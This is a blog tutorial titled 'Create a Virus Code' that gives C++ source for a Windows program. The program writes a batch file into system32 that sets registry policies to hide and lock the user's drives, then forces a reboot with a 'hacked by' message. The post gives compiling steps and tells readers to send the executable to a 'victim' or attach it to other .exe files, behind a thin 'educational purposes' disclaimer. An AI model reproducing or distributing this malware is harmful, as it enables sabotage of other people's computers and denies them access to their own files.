[Tutorial] Create a Virus Code


[+]C++
Create a Virus Code

-- Before you start , please note that this code is for EDUCATIONAL PURPOSES only. I am NOT RESPONSIBLE for any further DAMAGE caused. So try on your OWN risk.
======================================
#include<windows.h>
#include<fstream.h>
#include<iostream.h>
#include<string.h>
#include<conio.h>
int main()
{
ofstream write("C:\\WINDOWS\
\system32\\4ntipatika.bat"); /
*opening or creating new file
with .bat extension*/
write<<"REG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\
\Microsoft\\Windows\\CurrentVer
sion\\policies\\Explorer /v
NoDrives /t REG_DWORD /d 12\n";
write<<"REG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\
\Microsoft\\Windows\\CurrentVer
sion\\policies\\Explorer /v
NoViewonDrive /t REG_DWORD /d
12\n";
write<<"shutdown -r -c \"Sorry
Your System is hacked by -yourname-!\" -
f"<<"\n";
write.close(); //close file
ShellExecute(NULL,"open","C:\
\WINDOWS\\system32\
\4ntipatika.bat",NULL,NULL,SW_SHOWNORMAL);
return 0;
}
==================================
Steps for compiling :
-Copy the above code and paste in notepad.
-You can rename the "4ntipatika.bat" to anything.
-Save the file with .cpp extension
-Compile and create .exe file in cpp

*Important Note:
Don't run this c++ program , it will attack your system itself.
Copy the created .exe file and send it to your victim (dont blame me). You can also attach it with any other .exe files.



src: 4nti

Related Posts

Tutorials 6380986500007366593

Post a Comment

Powered by Blogger.

Search

NOTE

If you want to share or use one of my posts on your blog site, please add credits leading to my blog website.

Simple Survey

Answer the survey, Click Me!

Askjeyci Archive

Popular Posts